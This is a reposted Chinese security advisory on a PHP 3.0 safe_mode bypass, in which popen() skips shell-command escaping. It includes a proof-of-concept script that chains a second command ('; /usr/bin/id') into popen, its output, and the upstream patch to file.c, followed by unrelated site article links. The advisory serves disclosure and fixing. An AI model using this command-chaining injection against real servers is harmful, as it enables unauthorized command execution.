PHP3 safe_mode 失效漏洞


Posted in PHP onOctober 09, 2006

受影响的系统:  PHP 3.00  
--------------------------------------------------------------------------------
描述:

    PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了
PHP的特色。这个语言可以让web开发者快速创建动态网页。

    因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,
用于控制在允许PHP操作的webroot环境中执行命令。

    其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()
函数,此函数用于确认在webroot目录外部不能执行命令。

    在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可
以利用'popen'系统调用进行非法操作。

--------------------------------------------------------------------------------
测试程序:

警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>

输出结果如下:

1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建议:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;

@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}

- fp = popen(buf,p);

+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;  

PHP 相关文章推荐
PHP 如何向 MySQL 发送数据
Oct 09 PHP
PHP 写文本日志实现代码
May 18 PHP
MySQL 日期时间函数常用总结
Jun 12 PHP
php创建sprite
Feb 11 PHP
php购物车实现方法
Jan 03 PHP
PHP访问Google Search API的方法
Mar 05 PHP
yii2-GridView在开发中常用的功能及技巧总结
Jan 07 PHP
php写app接口并返回json数据的实例(分享)
May 20 PHP
ubutu 16.04环境下,PHP与mysql数据库,网页登录验证实例讲解
Jul 20 PHP
浅谈PHP中的Trait使用方法
Mar 22 PHP
详解PHP变量传值赋值和引用赋值变量销毁
Mar 23 PHP
PHP基于ip2long实现IP转换整形
Dec 11 PHP
vBulletin HACK----关于排版的两个HACK
Oct 09 #PHP
PHP+APACHE实现用户论证的方法
Oct 09 #PHP
从C/C++迁移到PHP——判断字符类型的函数
Oct 09 #PHP
PHP实现图片简单上传
Oct 09 #PHP
在线增减.htpasswd内的用户
Oct 09 #PHP
将OICQ数据转成MYSQL数据
Oct 09 #PHP
PHP中一个控制字符串输出的函数
Oct 09 #PHP
You might like
PHP 5.3新特性命名空间规则解析及高级功能
2010/03/11 PHP
PHP删除HTMl标签的实现代码
2013/06/30 PHP
PHP微信开发用Cache 解决数据缓存
2016/07/11 PHP
PHP微信PC二维码登陆的实现思路
2017/07/13 PHP
jQuery下扩展插件和拓展函数的写法(匿名函数使用的典型例子)
2010/10/20 Javascript
javascript动画浅析
2012/08/30 Javascript
如何从jQuery的ajax请求中删除X-Requested-With
2013/12/11 Javascript
JavaScript学习笔记之JS函数
2015/01/22 Javascript
JavaScript实现节点的删除与序号重建实例
2015/08/05 Javascript
jquery图片滚动放大代码分享(1)
2015/08/25 Javascript
理解JavaScript事件对象
2016/01/25 Javascript
浅析创建javascript对象的方法
2016/05/13 Javascript
全面解析JavaScript中的valueOf与toString方法(推荐)
2016/06/14 Javascript
Javascript中函数名.length属性用法分析(对比arguments.length)
2016/09/16 Javascript
基于vue2.0实现的级联选择器
2017/06/09 Javascript
Vue 页面状态保持页面间数据传输的一种方法(推荐)
2018/11/01 Javascript
详解Vue.directive 自定义指令
2019/03/27 Javascript
layui 弹出层回调获取弹出层数据的例子
2019/09/02 Javascript
Python numpy实现数组合并实例(vstack,hstack)
2018/01/09 Python
Django 实现下载文件功能的示例
2018/03/06 Python
python删除列表元素的三种方法(remove,pop,del)
2019/07/22 Python
Django中ajax发送post请求 报403错误CSRF验证失败解决方案
2019/08/13 Python
Python time库基本使用方法分析
2019/12/13 Python
关于tensorflow softmax函数用法解析
2020/06/30 Python
LocalStorage记住用户和密码功能
2017/07/24 HTML / CSS
澳大利亚婴儿礼品公司:The Baby Gift Company
2018/11/04 全球购物
Richards网上商店:当代时尚,遍布巴西
2019/11/03 全球购物
工作表现自我评价
2014/02/08 职场文书
总经理助理岗位职责范本
2014/07/20 职场文书
初中国旗下的演讲稿
2014/08/28 职场文书
井冈山红色之旅感想
2014/10/07 职场文书
财务出纳岗位职责
2015/03/31 职场文书
党员转正意见怎么写
2015/06/03 职场文书
考研经验交流会策划书
2015/11/02 职场文书
小学班主任工作经验交流材料
2015/11/02 职场文书
php+laravel 扫码二维码签到功能
2021/05/15 PHP